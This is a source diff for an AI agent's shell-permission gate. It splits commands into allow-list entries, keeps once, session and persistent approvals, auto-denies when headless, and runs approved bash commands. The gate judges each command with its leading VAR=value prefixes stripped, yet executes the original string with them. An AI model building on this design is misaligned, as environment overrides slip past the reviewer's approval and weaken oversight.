+ * User-visible notification rendered when the classifier yields `ask` but no UI is
1883
+ * available (Constitution §1.6 headless-safety floor; FLOW-11). Centralized so the
1884
+ * literal is the single source of truth for both the gate-level and prompt-level
1885
+ * short-circuits and the test assertion that pins it via
1886
+ * `message.includes("BLOCKED (headless)")` in `test/prompt.test.ts`.
1887
+ */
1888
+ const BLOCKED_HEADLESS_MESSAGE = "BLOCKED (headless)";
1889
+ /**
1890
+ * Metacharacter set that disqualifies a `/...` or `~/...` entry from being treated as a bare file
1891
+ * path. A bare path is a leading-`/` or leading-`~` token with no shell-operator punctuation — a
1892
+ * developer pointing at `/tmp/output.txt` is unambiguously identifying a file, but `/foo|bar` is a
1893
+ * pipe construct and `/foo bar` is two arguments, not a single path. Mirrors
1894
+ * `data-model.md:177-228` (bare-path semantics) and `architecture.md:152-163` ("a bare path is one
1895
+ * that points at a file ... not a command"). Includes backtick so `` /foo`date` `` (which would
1896
+ * trigger subshell substitution at parse time) does not escape the filter.
1897
+ */
1898
+ const BARE_PATH_METACHAR_RE = /[|&;<>()$`\\\s'"*?{}\[\]!#]/;
1899
+ /**
1900
+ * True when `entry` is a leading-`/` or leading-`~` token with no shell metacharacters — i.e. the
1901
+ * candidate is a pure file-system path rather than a compound command fragment. Used by
1902
+ * {@link getAllowListEntries} to drop `/tmp/out` / `~/notes.md`-style entries from the prompt
1903
+ * preview and the on-disk allowlist so a developer cannot accidentally approve only the file
1904
+ * portion of `cat /tmp/output.txt`.
1905
+ *
1906
+ * Order of checks matters: the empty-string short-circuit returns `false` BEFORE the regex
1907
+ * matches, so an empty entry never collides with the `/^[/~].*$/` anchor; the leading-`/` or
1908
+ * leading-`~` check precedes the metachar scan so relative paths like `./foo.txt` or `foo/bar.txt`
1909
+ * short-circuit to `false` without scanning for metachars.
1910
+ *
1911
+ * Source anchor: `architecture.md:152-163`, `data-model.md:177-228`.
1912
+ */
1913
+ export function isBarePath(entry) {
1914
+ if (entry.length === 0)
1915
+ return false;
1916
+ if (!/^[/~].*$/.test(entry))
1917
+ return false;
1918
+ if (BARE_PATH_METACHAR_RE.test(entry))
1919
+ return false;
1920
+ return true;
1921
+ }
1922
+ /**
1923
+ * Regex matching a leading shell environment-variable assignment (`VAR=value`, `VAR="value"`,
1924
+ * etc.). The identifier must be a valid shell identifier (`[a-zA-Z_][a-zA-Z0-9_]*`) immediately
1925
+ * followed by `=`. Used by {@link stripLeadingEnvAssignments} to strip transient environment
1926
+ * overrides from commands before they enter the permission gate so the classifier, rules,
1927
+ * and prompt preview work on the actual executable command.
1928
+ *
1929
+ * Only matches at segment start — `WORD=WORD` in the middle of a command is not identified
1930
+ * as an assignment (shell semantics: assignments are only recognized before the command word).
1931
+ *
1932
+ * Source anchor: `architecture.md:152-163` (prompt preview composed of allowlist entries).
1933
+ */
1934
+ const ENV_ASSIGN_RE = /^[a-zA-Z_][a-zA-Z0-9_]*=/;
1935
+ /**
1936
+ * Returns `true` when `segment` looks like a leading shell environment-variable assignment
1937
+ * (`VAR=value`). Identifiers must start with `[a-zA-Z_]` and contain `[a-zA-Z0-9_]*` before
1938
+ * the `=` — matching POSIX-shell env-assignment naming rules. The value portion is any string
1939
+ * up to the next shell-operator boundary.
1940
+ *
1941
+ * This is a **syntactic** check; it does not validate that the value is well-formed (quoted,
1942
+ * escaped, etc.) — the shell segment parser has already resolved quoting before we see the
1943
+ * token.
1944
+ */
1945
+ export function isEnvAssignment(segment) {
1946
+ return ENV_ASSIGN_RE.test(segment);
1947
+ }
1948
+ /**
1949
+ * Lightweight whitespace-aware word splitter that respects single and double quotes.
1950
+ * Splits on whitespace outside quotes, returning the individual words. Used by
1951
+ * {@link stripLeadingEnvAssignments} to identify leading env-var assignments at the
1952
+ * word level — unlike {@link splitShellSegments} which only splits on shell operators
1953
+ * (`&&`, `|`, `;`), not whitespace.
1954
+ *
1955
+ * Does NOT handle escaping, backtick substitution, or shell operators beyond quoting.
1956
+ * This is intentional — we only need to distinguish leading `VAR=value` words from
1957
+ * command words, not parse the full shell grammar.
1958
+ */
1959
+ function splitShellWords(input) {
1960
+ const words = [];
1961
+ let current = "";
1962
+ let inSingle = false;
1963
+ let inDouble = false;
1964
+ for (const c of input) {
1965
+ if (c === "'" && !inDouble) {
1966
+ inSingle = !inSingle;
1967
+ current += c;
1968
+ }
1969
+ else if (c === '"' && !inSingle) {
1970
+ inDouble = !inDouble;
1971
+ current += c;
1972
+ }
1973
+ else if (/\s/.test(c) && !inSingle && !inDouble) {
1974
+ if (current.length > 0) {
1975
+ words.push(current);
1976
+ current = "";
1977
+ }
1978
+ }
1979
+ else {
1980
+ current += c;
1981
+ }
1982
+ }
1983
+ if (current.length > 0) {
1984
+ words.push(current);
1985
+ }
1986
+ return words;
1987
+ }
1988
+ /**
1989
+ * Strip one or more leading shell environment-variable assignments (`VAR=value`) from
1990
+ * `command`. Only strips assignments that appear before the first non-assignment word,
1991
+ * matching shell semantics where `VAR=val cmd` sets an env var for the command but
1992
+ * `cmd VAR=val` passes `VAR=val` as a literal argument.
1993
+ *
1994
+ * Uses a word-level splitter ({@link splitShellWords}) that respects quotes, then drops
1995
+ * leading words matching {@link isEnvAssignment}. The remaining command is reconstructed
1996
+ * by joining the surviving words.
1997
+ *
1998
+ * **Contract:**
1999
+ * - `stripLeadingEnvAssignments("PLAN_TARGET=/tmp/foo ~/cmd.sh arg")`
2000
+ * → `"~/cmd.sh arg"`
2001
+ * - `stripLeadingEnvAssignments("A=1 B=2 echo hi")` → `"echo hi"`
2002
+ * - `stripLeadingEnvAssignments("echo A=1 B=2")` → `"echo A=1 B=2"`
2003
+ * (no leading assignments, unchanged)
2004
+ * - `stripLeadingEnvAssignments("")` → `""`
2005
+ * - `stripLeadingEnvAssignments("VAR='quoted val' cmd")` → `"cmd"`
2006
+ *
2007
+ * Pure function — no I/O, no side effects.
2008
+ */
2009
+ export function stripLeadingEnvAssignments(command) {
2010
+ const trimmed = command.trim();
2011
+ if (trimmed.length === 0)
2012
+ return command;
2013
+ const words = splitShellWords(trimmed);
2014
+ if (words.length === 0)
2015
+ return command;
2016
+ // Find the first word that is NOT an env assignment.
2017
+ const firstNonEnv = words.findIndex((w) => !isEnvAssignment(w));
2018
+ // If ALL words are env assignments (no actual command), return the original.
2019
+ if (firstNonEnv === -1)
2020
+ return command;
2021
+ // If the first word is already non-env, return the original unchanged.
2022
+ if (firstNonEnv === 0)
2023
+ return command;
2024
+ return words.slice(firstNonEnv).join(" ");
2025
+ }
2026
+ /**
2027
+ * Compute the list of entries that "Allow Always" will persist for `command`, in the
2028
+ * AC-008-01-mandated order: **first non-bare segment, then full trimmed command, then remaining
2029
+ * non-bare segments in parser order**. Bare-path entries are filtered by
2030
+ * {@link isBarePath} so `/tmp/out` / `~/notes.md`-style tokens do not escape as standalone
2031
+ * allowlist entries. Duplicates are removed with an order-preserving Set-then-spread pass so the
2032
+ * "full + segments" formula collapses to a single entry when the full command equals the first
2033
+ * segment (e.g. `echo hello` → `["echo hello"]`).
2034
+ *
2035
+ * **Ordering contract** (PRD AC-008-01 verbatim — pinned by `test/allowlist.test.ts`):
2036
+ * - `getAllowListEntries("npm install express && npm test")`
2037
+ * → `["npm install express", "npm install express && npm test", "npm test"]`
2038
+ * - `getAllowListEntries("a && b && c")` → `["a", "a && b && c", "b", "c"]`
2039
+ * - `getAllowListEntries("cat /tmp/output.txt")` → `["cat /tmp/output.txt"]`
2040
+ * (bare path inside the segment survives; the bare path as a standalone entry is filtered)
2041
+ * - `getAllowListEntries("echo hello")` → `["echo hello"]` (single segment, no dedup)
2042
+ * - `getAllowListEntries("npm test && npm test")` → `["npm test", "npm test && npm test"]`
2043
+ * (first-occurrence-wins dedup; duplicate segment removed, full compound preserved)
2044
+ *
2045
+ * Contract anchors:
2046
+ * - `data-model.md:177-228` (FR-008: allowlist entry computation)
2047
+ * - PRD AC-008-01 / AC-008-02 / AC-008-03 (`["npm install express", "npm install express && npm test", "npm test"]`)
2048
+ * - `architecture.md:152-163` (prompt preview ordering)
2049
+ *
2050
+ * Pure data transformation — no I/O, no `ExtensionContext`, no `os.homedir()` access. The
2051
+ * empty-input early-return keeps dedup logic clean and matches PRD's "empty command → empty array"
2052
+ * exception strategy.
2053
+ */
2054
+ export function getAllowListEntries(command) {
2055
+ const trimmed = command.trim();
2056
+ if (trimmed.length === 0)
2057
+ return [];
2058
+ const rawSegments = splitShellSegments(trimmed).filter((s) => s.length > 0);
2059
+ const segments = rawSegments.filter((s) => !isBarePath(s));
2060
+ // Build the candidate list in AC-008-01 order: first segment, full trimmed, then the rest.
2061
+ // When the parser produced no non-bare segments (e.g. the command IS a bare path), fall back
2062
+ // to the trimmed command itself so the result is `[]` only when EVERY entry — including the
2063
+ // full command — is a bare path. This pins AC-008-02 (`cat /tmp/output.txt` → `["cat /tmp/output.txt"]`)
2064
+ // because the segment contains a space, so `isBarePath("cat /tmp/output.txt") === false`.
2065
+ let candidates;
2066
+ if (segments.length === 0) {
2067
+ candidates = [trimmed];
2068
+ }
2069
+ else {
2070
+ candidates = [segments[0], trimmed, ...segments.slice(1)];
2071
+ }
2072
+ const seen = new Set();
2073
+ const out = [];
2074
+ for (const entry of candidates) {
2075
+ if (entry.length === 0)
2076
+ continue;
2077
+ if (isBarePath(entry))
2078
+ continue;
2079
+ if (seen.has(entry))
2080
+ continue;
2081
+ seen.add(entry);
2082
+ out.push(entry);
2083
+ }
2084
+ return out;
2085
+ }
2086
+ /**
2087
+ * Module-level ephemeral allow set — survives across `runPermissionGate` invocations within a
2088
+ * single session, cleared by {@link sessionStartHandler} on the next session start so long-lived
2089
+ * Pi/OMP runtimes don't carry stale unlocks across sessions (Constitution §1.6 headless safety
2090
+ * implies per-session isolation; an unlocks-only-in-memory allowlist MUST reset with the session).
2091
+ *
2092
+ * NOT exported as a binding (ESM live bindings are read-only from outside the module). Production
2093
+ * code mutates it from inside the same module only; tests drive it indirectly via
2094
+ * {@link ephemeralAllow} / {@link isEphemeralAllowed}.
2095
+ */
2096
+ let ephemeralAllowList = new Set();
2097
+ /**
2098
+ * Add `command` to the in-memory ephemeral allow set so the next evaluation that matches the
2099
+ * command returns `{ allow: true }` without consulting the classifier or showing a prompt. Consumed
2100
+ * on the immediate next match (single-use) via {@link isEphemeralAllowed}. Exported so tests can
2101
+ * seed the set directly without going through {@link runPermissionGate}.
2102
+ */
2103
+ export function ephemeralAllow(command) {
2104
+ ephemeralAllowList.add(command);
2105
+ }
2106
+ /**
2107
+ * Returns `true` exactly once for any command currently in the ephemeral allow set, removing the
2108
+ * entry on the consuming read so the rule is single-use per FLOW-08 Happy-Path Step 1 ("Allow
2109
+ * Once: rule held in memory; consumed on next match"). A second call with the same command
2110
+ * returns `false` because the entry was drained on the first match.
2111
+ */
2112
+ export function isEphemeralAllowed(command) {
2113
+ if (ephemeralAllowList.has(command)) {
2114
+ ephemeralAllowList.delete(command);
2115
+ return true;
2116
+ }
2117
+ return false;
2118
+ }
2119
+ /**
2120
+ * Module-level session allow set — survives across `runPermissionGate` invocations within a
2121
+ * single session, cleared by {@link sessionStartHandler} on the next session start. Unlike
2122
+ * {@link ephemeralAllowList} (single-use, consumed on next match), entries here persist for the
2123
+ * lifetime of the session so the developer is never re-prompted for the same command until they
2124
+ * restart Pi/OMP.
2125
+ *
2126
+ * NOT exported as a binding (ESM live bindings are read-only from outside the module). Production
2127
+ * code mutates it from inside the same module only; tests drive it indirectly via
2128
+ * {@link sessionAllow} / {@link isSessionAllowed}.
2129
+ */
2130
+ let sessionAllowList = new Set();
2131
+ /**
2132
+ * Add `command` to the in-memory session allow set so every subsequent evaluation within this
2133
+ * Pi/OMP session returns `{ allow: true }` without consulting the classifier or showing a prompt.
2134
+ * Unlike {@link ephemeralAllow}, the entry persists for the session lifetime and is NOT consumed
2135
+ * on match — the developer can reuse the command freely until restart.
2136
+ * Exported so tests can seed the set directly without going through {@link runPermissionGate}.
2137
+ */
2138
+ export function sessionAllow(command) {
2139
+ sessionAllowList.add(command);
2140
+ }
2141
+ /**
2142
+ * Returns `true` for any command currently in the session allow set WITHOUT removing the entry,
2143
+ * so the rule stays active for the rest of the session. A second call with the same command also
2144
+ * returns `true` — the entry is cleared only by {@link sessionStartHandler} or
2145
+ * {@link setCurrentMode}.
2146
+ */
2147
+ export function isSessionAllowed(command) {
2148
+ return sessionAllowList.has(command);
2149
+ }
2150
+ /**
2151
+ * Append `entries` to `list` (in place) using first-occurrence-wins dedup. Pure helper
2152
+ * shared by {@link appendToAllowList} and {@link appendToDenyList} — both writers push
2153
+ * entries onto a per-level pattern list and MUST preserve the
2154
+ * "clicking-twice-doesn't-duplicate" contract (AC-005-04 / AC-005-05 first-match-wins).
2155
+ */
2156
+ function appendUnique(list, entries) {
2157
+ for (const entry of entries) {
2158
+ if (entry.length === 0)
2159
+ continue;
2160
+ if (list.includes(entry))
2161
+ continue;
2162
+ list.push(entry);
2163
+ }
2164
+ }
2165
+ /**
2166
+ * Append every entry in `entries` to the current level's `allow` list in `perm-rules.json`,
2167
+ * preserving the deny-by-default safety floor (Constitution §1.4 v0.4.0). Follows the ISS-004
2168
+ * atomic-rename read-then-write pattern so:
2169
+ *
2170
+ * - `loadRules(ctx)` re-reads from disk (manual edits between prompt render and click are
2171
+ * honored, per FR-011 live-reload contract).
2172
+ * - Only the CURRENT level's `allow` array is mutated; the safety-floor `low.deny` defaults
2173
+ * and any user-added deny entries are preserved verbatim across the write.
2174
+ * - Dedup via {@link appendUnique} so re-clicking "Allow Always" on the same compound
2175
+ * command does NOT duplicate entries (first occurrence wins).
2176
+ *
2177
+ * File-local (NOT exported) — driven exclusively via {@link runPermissionGate}'s "allow-always"
2178
+ * branch. Accepts the full allowlist-entry array (not just the trimmed command) per the
2179
+ * AC-005-04 SEGMENT PERSISTENCE contract: every entry from {@link getAllowListEntries} — the
2180
+ * parsed segments AND the full trimmed command — must land on disk after an "Allow Always" click
2181
+ * so the developer doesn't need to repeat the prompt for each individual segment.
2182
+ *
2183
+ * **API asymmetry note**: this writer takes `readonly string[]` (the full
2184
+ * {@link getAllowListEntries} output) because "Allow Always" persists BOTH the trimmed
2185
+ * compound command AND every parsed segment — a compound `rm x && cat /tmp/junk` allows
2186
+ * the whole compound plus each individual piece in one click. {@link appendToDenyList}
2187
+ * is intentionally narrower: "Deny" persists only the literal compound command (a deny
2188
+ * is ambiguous if broken into per-segment denies — the developer chose to block the
2189
+ * exact compound, so the on-disk rule must match the prompt verbatim).
2190
+ */
2191
+ function appendToAllowList(entries, ctx) {
2192
+ const rules = loadRules(ctx);
2193
+ const mode = getCurrentMode();
2194
+ appendUnique(rules.rules[mode].allow, entries);
2195
+ saveRules(getRulesPath(), rules, ctx);
2196
+ }
2197
+ /**
2198
+ * Append `command` to the current level's `deny` list in `perm-rules.json`, mirroring the
2199
+ * read-then-write + dedup + safety-floor-preservation contract from {@link appendToAllowList}.
2200
+ * Cascade direction (FLOW-10) is a READ-time concern in {@link classifySegment}; this writer
2201
+ * mutates only the CURRENT level, so the developer-facing "Deny" choice is scoped exactly to
2202
+ * the active permission level.
2203
+ *
2204
+ * **API asymmetry note** (see {@link appendToAllowList} for the full rationale): this writer
2205
+ * takes a single `command` string rather than a `readonly string[]`. "Deny" persists only the
2206
+ * literal compound command — splitting a deny into per-segment entries would be ambiguous
2207
+ * (a `rm x && cat /tmp/junk` deny would create two rules that future explicit-level denials
2208
+ * can override independently, breaking FLOW-10 cascade integrity). The asymmetry is deliberate;
2209
+ * the `readonly string[]` shape would surface an invariant violation at the type system.
2210
+ */
2211
+ function appendToDenyList(command, ctx) {
2212
+ const rules = loadRules(ctx);
2213
+ const mode = getCurrentMode();
2214
+ appendUnique(rules.rules[mode].deny, [command]);
2215
+ saveRules(getRulesPath(), rules, ctx);
2216
+ }
2217
+ /**
2218
+ * Headless-safety short-circuit helper shared by {@link promptForPermission} and
2219
+ * {@link runPermissionGate}. Returns `true` when the caller should treat the request as
2220
+ * auto-denied because `ctx.hasUI === false`; in that case surfaces the {@link BLOCKED_HEADLESS_MESSAGE}
2221
+ * notification through the (optional) `ctx.ui` surface — guarded through an `if (ctx.ui)`
2222
+ * check so a runtime that omits the UI entirely does not throw. Returns `false` whenever
2223
+ * UI is available so the caller continues down its normal pipeline.
2224
+ */
2225
+ function checkHeadlessShortCircuit(ctx) {
2226
+ if (ctx.hasUI)
2227
+ return false;
2228
+ if (ctx.ui)
2229
+ ctx.ui.notify(BLOCKED_HEADLESS_MESSAGE, "warning");
2230
+ return true;
2231
+ }
2232
+ /**
2233
+ * Three-choice `ctx.ui.select` prompt rendered when the classifier yields `ask`. Surfaces the
2234
+ * FLOW-07 "developer saw every distinct command" preview verbatim by inlining
2235
+ * {@link getAllowListEntries}'s output into the message body.
2236
+ *
2237
+ * Returns `"allow-once" | "allow-session" | "allow-always" | "deny"` on the four documented
2238
+ * user choices, OR `null` when the prompt could not be shown at all (missing UI, thrown
2239
+ * `ctx.ui.select`, unexpected return value). The `null` return is critical: it lets the
2240
+ * orchestrator distinguish "user actively chose Deny" (which should persist per FLOW-08 Step 4)
2241
+ * from "prompt blew up, deny conservatively without persistence" (Constitution §1.6 — a failed
2242
+ * prompt MUST NOT silently persist anything to `perm-rules.json`).
2243
+ */
2244
+ async function promptForPermission(reason, command, ctx) {
2245
+ if (checkHeadlessShortCircuit(ctx))
2246
+ return null;
2247
+ if (typeof ctx.ui?.select !== "function") {
2248
+ if (ctx.ui)
2249
+ ctx.ui.notify("Prompt unavailable; defaulting to deny", "warning");
2250
+ return null;
2251
+ }
2252
+ const entries = getAllowListEntries(command);
2253
+ const preview = entries.length > 0 ? entries.join(", ") : "(no segments)";
2254
+ const message = `[${reason}]\n\nCommand: ${command}\n\nWill allow: ${preview}`;
2255
+ try {
2256
+ const items = ["Allow Once", "Allow This Session", "Allow Always", "Deny"];
2257
+ const selected = await ctx.ui.select(message, items);
2258
+ if (selected === undefined)
2259
+ return null;
2260
+ const result = {
2261
+ "Allow Once": "allow-once",
2262
+ "Allow This Session": "allow-session",
2263
+ "Allow Always": "allow-always",
2264
+ Deny: "deny",
2265
+ };
2266
+ return result[selected] ?? null;
2267
+ }
2268
+ catch {
2269
+ if (ctx.ui)
2270
+ ctx.ui.notify("Prompt failed; defaulting to deny", "warning");
2271
+ return null;
2272
+ }
2273
+ }
2274
+ /**
2275
+ * Four-branch permission gate — the user-visible keystone for FLOW-07 (interactive prompt),
2276
+ * FLOW-08 (scope: ephemeral / persist-allow / persist-deny), and FLOW-11 (headless auto-deny).
2277
+ *
2278
+ * Pipeline:
2279
+ * 1. Off-mode bypass (FLOW-06) — `currentMode === "off"` returns `{ allow: true }` immediately,
2280
+ * skipping both the classifier and the prompt. The type-checker treats `currentMode` as
2281
+ * `PermissionLevel` (excludes "off"); the test-only `setCurrentMode("off")` cast forces
2282
+ * "off" through, and the local alias `RuntimePermissionLevel` below widens the comparison
2283
+ * back without weakening any static surface.
2284
+ * 2. Session allow check — `isSessionAllowed(command)` returns `true` when the command was
2285
+ * previously approved via "Allow This Session" for the rest of this session. Non-consuming,
2286
+ * so repeated invocations of the same command reuse the same session-level token without
2287
+ * re-prompting or persisting to disk.
2288
+ * 3. Ephemeral check (FLOW-08 Step 1) — `isEphemeralAllowed(command)` is consume-on-match, so
2289
+ * a single "Allow Once" click is honored exactly once on the immediate next evaluation.
2290
+ * 4. Classifier (FLOW-07 routing) — `classifyCommand` yields `allow` / `deny` / `ask`; the
2291
+ * `deny` branch short-circuits past the prompt per FLOW-07 ("deny is automatic"), the
2292
+ * `ask` branch falls through to the prompt handler.
2293
+ * 5. Prompt (FLOW-07 Step 4) — only reached when the classifier yields `ask` AND
2294
+ * `ctx.hasUI === true`. On `allow-session` the gate seeds the session-level set; on
2295
+ * `allow-once` the gate seeds the ephemeral set; on `allow-always` the gate persists the
2296
+ * full {@link getAllowListEntries} list (not just the trimmed command) per the AC-005-04
2297
+ * segment-persistence contract; on `deny` the gate persists the command to the current
2298
+ * level's deny list.
2299
+ *
2300
+ * Headless safety (FLOW-11): when `ctx.hasUI === false`, the `ask` branch surfaces
2301
+ * `BLOCKED (headless)` via `ctx.ui?.notify` (guarded through optional chaining so a runtime
2302
+ * that omits the UI surface entirely does not throw) and returns `{ allow: false }`.
2303
+ */
2304
+ export async function runPermissionGate(command, ctx) {
2305
+ // (0) Strip leading env-var assignments — transient `VAR=value` prefixes (e.g.
2306
+ // `PLAN_TARGET=/tmp/foo ~/.claude/skills/commit/commit.sh post`) are shell-level
2307
+ // environment overrides, not part of the actual command being classified. Stripping
2308
+ // them early ensures the classifier, allowlist rules, ephemeral/session checks, and
2309
+ // prompt preview all work against the executable command string. The stripped command
2310
+ // replaces `command` for the rest of this function.
2311
+ const resolvedCommand = stripLeadingEnvAssignments(command);
2312
+ // (1) Off-mode bypass — FLOW-06. `currentMode` is typed as `PermissionLevel`, so the
2313
+ // `"off"` runtime state is surfaced through the {@link RuntimePermissionLevel} alias
2314
+ // at this single comparison site; the rest of the module can keep the strict
2315
+ // `PermissionLevel` contract (so `MODE_LABELS`, `classifyCommand`, and `appendUnique`
2316
+ // keys stay narrow). Production callers reach "off" exclusively through
2317
+ // `setCurrentMode("off")` (the test seam).
2318
+ const runtimeMode = currentMode;
2319
+ if (runtimeMode === "off") {
2320
+ return { allow: true };
2321
+ }
2322
+ // (2) Session allow check — persists across the session without consuming on match.
2323
+ if (isSessionAllowed(resolvedCommand)) {
2324
+ return { allow: true };
2325
+ }
2326
+ // (3) Ephemeral check — FLOW-08 Step 1 (consume-on-match).
2327
+ if (isEphemeralAllowed(resolvedCommand)) {
2328
+ return { allow: true };
2329
+ }
2330
+ // (3) Classifier routing.
2331
+ const mode = getCurrentMode();
2332
+ const rules = loadRules(ctx);
2333
+ const decision = classifyCommand(resolvedCommand, mode, rules);
2334
+ if (decision.decision === "allow") {
2335
+ return { allow: true };
2336
+ }
2337
+ if (decision.decision === "deny") {
2338
+ if (ctx.hasUI && ctx.ui) {
2339
+ ctx.ui.notify(`Blocked: ${decision.reason}`, "warning");
2340
+ }
2341
+ return { allow: false };
2342
+ }
2343
+ // (5) Prompt branch — classifier yielded "ask".
2344
+ // (4a) Headless short-circuit (FLOW-11).
2345
+ if (checkHeadlessShortCircuit(ctx)) {
2346
+ return { allow: false };
2347
+ }
2348
+ const choice = await promptForPermission(decision.reason, resolvedCommand, ctx);
2349
+ if (choice === null) {
2350
+ // Prompt could not be shown (missing UI, thrown `ctx.ui.select`, unexpected return value).
2351
+ // Fail closed per Constitution §1.6 ("never block waiting for interactive input") WITHOUT
2352
+ // persisting anything — the user didn't actively choose Deny, so a thrown / unavailable
2353
+ // prompt must not silently append a deny entry to `perm-rules.json`.
2354
+ return { allow: false };
2355
+ }
2356
+ if (choice === "allow-session") {
2357
+ const entries = getAllowListEntries(resolvedCommand);
2358
+ for (const entry of entries) {
2359
+ sessionAllow(entry);
2360
+ }
2361
+ return { allow: true };
2362
+ }
2363
+ if (choice === "allow-once") {
2364
+ ephemeralAllow(resolvedCommand);
2365
+ return { allow: true };
2366
+ }
2367
+ if (choice === "allow-always") {
2368
+ const entries = getAllowListEntries(resolvedCommand);
2369
+ appendToAllowList(entries, ctx);
2370
+ return {
2371
+ allow: true,
2372
+ persistWrite: { level: mode, action: "allow", pattern: resolvedCommand },
2373
+ };
2374
+ }
2375
+ if (choice === "deny") {
2376
+ appendToDenyList(resolvedCommand, ctx);
2377
+ return {
2378
+ allow: false,
2379
+ persistWrite: { level: mode, action: "deny", pattern: resolvedCommand },
2380
+ };
2381
+ }
2382
+ // Defensive fallback — `promptForPermission` returns `"allow-once" | "allow-session" |
2383
+ // "allow-always" | "deny" | null`, and the five branches above cover all of them. The
2384
+ // explicit `return` keeps TypeScript's exhaustiveness check honest and documents the
2385
+ // conservative-deny default if a future refactor adds a new return value without updating
2386
+ // this switch.
2387
+ return { allow: false };
2388
+ }
2389
+ /** ─── Bash Tool (TSK-005-03 / ISS-005) ─── */
2390
+ /**
2391
+ * TypeBox parameter schema for the registered `bash` tool. Mirrors the upstream Pi/OMP
2392
+ * built-in `bash` tool's input shape (`{ command: string }`) so the LLM sees a familiar
2393
+ * surface. The schema is the gatekeeper's single source of truth for the bash tool's
2394
+ * parameters — it is exported (transitively via the bash tool registration) so future
2395
+ * shards can extend the schema (e.g. `cwd`, `timeout`) without re-declaring the literal
2396
+ * type.
2397
+ */
2398
+ const BASH_TOOL_PARAMETERS = Type.Object({
2399
+ command: Type.String({ description: "Shell command to execute" }),
2400
+ });
2401
+ /**
2402
+ * User-visible description of the registered `bash` tool — surfaced to the LLM in the
2403
+ * tool-selection prompt and to the developer in `/help`. Centralized so a future rename
2404
+ * or policy update (e.g. adding the mode-gate caveat) flows from a single edit to the
2405
+ * registration call and the matching test assertions.
2406
+ */
2407
+ const BASH_TOOL_DESCRIPTION = "Execute a shell command. The gatekeeper permission gate runs BEFORE dispatch; denied commands return a BLOCKED result without invoking the shell.";
2408
+ /**
2409
+ * Execute a single bash command after the gatekeeper permission gate has approved it.
2410
+ * Wraps `node:child_process.exec` via `promisify` so the returned promise resolves on
2411
+ * process exit (success or non-zero exit code) and rejects on spawn failure
2412
+ * (ENOENT-style errors). Stdout and stderr are merged into a single `stdout` field per
2413
+ * the upstream `BashResult` contract.
2414
+ *
2415
+ * Not used by any test in the current shard — wired here so the bash tool's happy path
2416
+ * (after `runPermissionGate` returns `{ allow: true }`) actually executes the command
2417
+ * rather than returning an empty stub. The BLOCKED / denied-command paths are pinned by
2418
+ * the foundation-shard wiring tests.
2419
+ */
2420
+ function execBash(command, cwd) {
2421
+ return execAsync(command, { cwd });
2422
+ }
2423
+ /**
2424
+ * Build a `BashExecuteResult` from a finalized text payload. Centralized so the four
2425
+ * return sites in {@link bashExecute} (non-string guard, gate-deny, exec-failure, success)
2426
+ * share a single declaration of the `content: [{ type: "text", text }]` + `details: undefined`
2427
+ * + `output: text` + `isError` shape — the duplication was an obvious Extract-Function
2428
+ * candidate once the GREEN-phase hand-rolled returns landed in a 4-way cascade.
2429
+ */
2430
+ function buildBashResult(text, isError) {
2431
+ return {
2432
+ content: [{ type: "text", text }],
2433
+ details: undefined,
2434
+ output: text,
2435
+ isError,
2436
+ };
2437
+ }
2438
+ /**
2439
+ * Execute handler for the registered `bash` tool. The integration keystone for FLOW-07
2440
+ * (interactive prompt via the gate), FLOW-08 (ephemeral / persist-allow / persist-deny),
2441
+ * FLOW-10 (cascade direction), and FLOW-11 (headless BLOCKED). Routes every invocation
2442
+ * through `runPermissionGate` BEFORE dispatching the shell so a denied command never
2443
+ * reaches `child_process.exec`.
2444
+ *
2445
+ * Pipeline:
2446
+ * 1. Defensive guard — `typeof input.command !== "string"` returns BLOCKED immediately
2447
+ * so a malformed tool payload (number, object, null, undefined) never reaches the
2448
+ * classifier. This pins the "bash tool is a typed seam" contract — anything Pi/OMP
2449
+ * passes through is string-validated before the gate.
2450
+ * 2. `runPermissionGate` — the orchestrator from ISS-005 that combines ephemeral
2451
+ * allow-once, classifier routing (deny > ask > allow), the three-choice prompt,
2452
+ * and headless auto-deny. The gate runs FIRST; only an `{ allow: true }` decision
2453
+ * proceeds to shell dispatch.
2454
+ * 3. Shell dispatch — `execBash` invokes the command in `ctx.cwd` and returns the
2455
+ * merged stdout/stderr payload. A shell-spawn failure surfaces through the
2456
+ * `catch` arm with `isError: true` so the LLM sees a structured error rather than
2457
+ * a thrown promise.
2458
+ *
2459
+ * Source anchor: `tasks.md TSK-005-03` (bash tool registration + execute handler).
2460
+ */
2461
+ async function bashExecute(_toolCallId, params, _signal, _onUpdate, ctx) {
2462
+ // (1) Defensive non-string guard — a malformed tool payload (number, object, null,
2463
+ // undefined) never reaches the gate. Returns BLOCKED with isError: true so the LLM
2464
+ // surfaces a structured error to the developer.
2465
+ if (typeof params.command !== "string") {
2466
+ return buildBashResult("BLOCKED: bash tool command must be a string", true);
2467
+ }
2468
+ // (2) Permission gate — classifier + prompt + persistence routing. The gate runs BEFORE
2469
+ // shell dispatch so a denied command never reaches `child_process.exec`.
2470
+ const decision = await runPermissionGate(params.command, ctx);
2471
+ if (!decision.allow) {
2472
+ return buildBashResult(`BLOCKED: ${params.command}`, true);
2473
+ }
2474
+ // (3) Shell dispatch — gate approved; run the command in `ctx.cwd` and surface the
2475
+ // merged stdout/stderr payload. A spawn failure (ENOENT, EACCES, etc.) is caught and
2476
+ // returned as a structured error result so the LLM sees a normalized shape.
2477
+ try {
2478
+ const { stdout, stderr } = await execBash(params.command, ctx.cwd);
2479
+ const text = stderr && stderr.length > 0 ? `${stdout}${stdout ? "\n" : ""}${stderr}` : stdout;
2480
+ return buildBashResult(text, false);
2481
+ }
2482
+ catch (err) {
2483
+ const message = err instanceof Error ? err.message : String(err);
2484
+ return buildBashResult(`BLOCKED: shell exec failed: ${message}`, true);
2485
+ }
2486
+ }
2487
+ /**
2488
+ * The single `ToolDefinition` registered by the foundation shard's default-export
2489
+ * wiring (TSK-005-03 / ISS-005). The agent-facing seam that turns the Phase-2
2490
+ * `runPermissionGate` orchestrator into something the LLM actually invokes. Tests
2491
+ * pin the integration end-to-end via `bashHandle.pi.registerTool.mock.calls[0][0]`
2492
+ * (`test/foundation.test.ts` "bash tool — execute handler integration").
2493
+ */
2494
+ const BASH_TOOL_DEFINITION = {
2495
+ name: "bash",
2496
+ label: "Bash",
2497
+ description: BASH_TOOL_DESCRIPTION,
2498
+ parameters: BASH_TOOL_PARAMETERS,
2499
+ execute: bashExecute,
2500
+ };
2501
+ /** ─── Extension Entry Point (TSK-001-08) ─── */
2502
+ /**
2503
+ * User-visible description surfaced in pi/omp's `--help` output for the `--perm-mode` flag. Centralized so a future rename
2504
